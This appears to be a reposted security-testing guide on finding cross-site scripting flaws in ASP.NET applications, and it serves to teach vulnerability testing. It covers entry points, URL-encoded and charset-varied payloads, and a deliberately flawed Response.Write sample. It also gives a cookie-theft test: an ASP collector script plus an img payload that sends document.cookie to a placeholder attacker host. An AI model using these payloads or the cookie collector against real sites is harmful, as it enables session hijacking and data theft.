Cross Site Scripting Vulnerabilities

How to Test for Cross Site Scripting Vulnerabilities ?

Applies to

ASP.NET 1.1

ASP.NET 2.0

Overview
Even though XSS is simple; understanding it is hard due to lack of social engineering awareness. XSS attacks need an attacker a victim, an attacker server, a victim browser, a victim server, and a XSS vulnerability This is best explained by comparing common Internet surfing with a XSS attack.

Normal Internet:

The client types the server address, fills a text box, or clicks a button
The server responds with an informational web page.
Internet under cross-site scripting attack:
The attacker enters attack data in the URL address bar of the target Internet site
The target site’s server responds to the attacker with proof of a XSS vulnerability (possible attack). The target server becomes a victim server
The attacker selects the victim depending on the attack goals
The attacker uses social engineering to send a link, email, or message to the victim
The victim surfs to the victim server
The victim server sends the attack data to the victim browser as an HTML page
The victim browser renders the page and executes the attacker’s script in the context of the victim server thereby harming the victim
The harm done to the victim depends upon the server that is attacked. It is often retrieval of sensitive information that the victim would not want the attacker to have access to. This can include cookies, sensitive information on forms in the site itself, etc. The end result is that an attacker is able to run untrusted script within the context of a site that the user may trust and that was not designed for that script.

Summary of Steps
Cross-site scripting (XSS) vulnerabilities are caused by a failure to validate and encode input prior to echoing it back to the web client.  Testing for XSS involves the following 4 steps:

Identify entry points.
Craft attack data for each entry point.
Pass attack data to each entry point.
Look for successful execution of attack data

1. Identify Entry Points
Entry points are the means by which you can provide input to the application under test. The following are common entry points for XSS attacks:

Browser address bar  (URLs)
Web service methods
UI text fields
XSS has two basic types: reflective and persistent.

Reflective

In reflective XSS, the web application dynamically generates the response using non-sanitized data from the client.  Any script (JavaScript or VB Script) in the data sent to the server will send back a page with the script.  The victim browser that receives the page renders it and executes the script from the victim site.  The attack data bounces –is reflected- by the vulnerable web application to the victim client browser.
Look for entry points that are likely to echo user input back onto the page.  Some common examples include error handling in order entry forms, search forms, user registration forms, and RSS feeds.

Persistent

A more dangerous form of cross-site scripting is persistent. Persistent XSS is when the web application stores the attack data in a temporary or permanent location such as a file or database.  When the victim browses to the victim server the persistent script executes in the victim browser’s context.  The script payload remains persistent in the victim server and affects any Internet user until detected and deleted.
Look for entry points that are likely to store user input to echo back to the user later.  Some common examples include message board posting, bug entry forms and stored user information such as display name or user description.

2. Craft Attack Data for an Entry Point
Crafting attack data to look for cross-site scripting involves using the HTML <script> tag in order to show proof that a script injection is possible.  The first test always involves a simple alert() script to see if it is echoed back and executed by the web client.
URL’s don’t allow certain characters such as spaces and non-standard letters.   You can determine URL encoding by just typing a space in a URL of an address bar.  The browser translates the space to “%20”.  When executing XSS attacks you must take into account that some of the special characters of your attack data (or maybe all of it) are translated to hexadecimal encoding.  Try multiple combinations of URL encodings like encoding symbols only or the whole attack string:

%3Cscript%3Ealert%28%27proof%27%29%3C%2Fscript%3E

Web servers also need to specify their character set or language to translate the body (contents) of an HTTP packet. This is either done by the server in by setting the charset parameter in the Content-Type header of HTTP packets, or by specifying the character set inside the HEAD tag of an HTML file:

Content-Type: text/html; charset=ISO-8859-1 (in HTTP)
<META HTTP-EQUIV=”Content-Type” CONTENT=”text/html; charset=ISO-8859-1″> (in HTML)

You can easily determine the encoding or character set of your input by monitoring HTTP traffic and looking at the contents of the charset value of the Content-Type header.  You need to test all common encoding forms and character sets by changing character sets using the HTML META tag or by directly sending the target application HTTP packets with the different character sets in the Content-Type headers.

Hexadecimal encoding (URLs)
UTF-8 encoding
UTF-16 encoding
Different languages character sets
3. Pass Attack Data to an Entry Point
Using cross-site scripting attack data depends on how the web application interacts with the client browser.  For instance, vulnerable applications might send web forms with input text fields restricted to certain length or run client side scripts to filter out invalid characters.  You need to try all possible entry point options:  

Send attack data from web forms

Start by injecting attack data in web forms input text fields.  Look for any input field that is filled with client text.  If the browser filters out special characters such as HTML tags look for any client side data validation in the web page source code.  If you find any client side validation save the web page locally and modify it by deleting any client side restrictions and try submitting the form with attack data again.

Send attack data in URL

URLs are usually parameterized.  For instance the following URL has two parameters:

http://www.somesite.net/login.asp?name=tester&email=tester@vulnsoft.net

Monitor URLs and replace parameter values with your attack data.

http://www.somesite.net/login.asp?name=tester&email=<script>alert(‘proof’)</script>

Send attack data in HTML body

Sniff network traffic and see how the browser client sends input data to servers.  In many cases, input data is sent in the body.  Replicate the HTTP packet and replace input data in HTML bodies with attack data.

4. Look for Successful Execution of Attack Data
Cross-site scripting attack data contains a script to be executed.  The easiest way to check for successful execution is to keep the attack’s data payload simple; using an alert box is the simplest and more efficient method to validate cross-site scripting test cases.
For instance, after entering the attack string “<script>alert(‘proof)’></script>” in a form field and submitting it look for a pop up captioned “proof”.
Monitor network traffic and see if any data you submitted is returned.  If you don’t see the pop up but the network traffic shows your data being sent back, check if any encoding was performed on it.  Then tune your input as stated in step 2 to bypass the encoding.

Repro Example
Flawed Code

<HTML>
<BODY>
This is the response of a vulnerable site:
Response.Write(Request.QueryString[“em”]);
</BODY>
</HTML>

QueryString is an ASP function that queries the URL for the parameter specified by the string in the squared brackets).  The code is flawed because it reads the URL parameter “em” and does not encode it before sending it back to the client.   Any script will be echoed back to the client and execute in the client browser.

Test Example

A good way to test for cross-site scripting is by manual or automated cookie-theft attempting cookie theft.  Cookie theft tests are better suited it easier than message boxes and GUI monitoring and verification for XSS test case verification.

The test consists in four steps:

step 1 – construct an attacker server

You can easily code this at the web hosting an attacker’s web server that grabs cookies from a URL and crafting the attack data to send the cookie to the attacker’s server.  For instance, create a web server with a file named GetCookie.asp containing this code:

<%
set fso = Server.CreateObject(“Scripting.FileSystemObject”)
set fw = fso.CreateTextFile(“c:\inetpub\wwwroot\cookie.txt”,True)
fw.WriteLine(“stolen cookie:”)
fw.WriteLine(Request.QueryString(“cookie”))
fw.Close
%>

step 2 – craft attack data

By sending this attack (instead of “<script>alert(‘proof’) </script>”) you can easily proof XSS vulnerabilities:

<img width=’0′ height=’0′ src=’http://attackers_IP/GetCookie.asp?cookie=”+document.cookie+”‘>

step 3 – pass attack data

Using methods in section two you can craft URL’s and send them (manually or automated) to target web sites:

http://www.somesite.net/login.asp?name=tester&em=<img width=’0′ height=’0′ src=’http://attackers_IP/GetCookie.asp?cookie=”+document.cookie+”‘>

step 4 – test case verification

If the attack succeeds the server creates a file named cookie.txt with the contents of the client’s ASP cookie.

Note:  this attack provides a way to automate verification of XSS testing.  You need to focus on the attack data and in all its forms and permutations.  Verification is easy in a close environment where you can test with your own IPs.

Source: patterns & practices Library

Posted in Uncategorized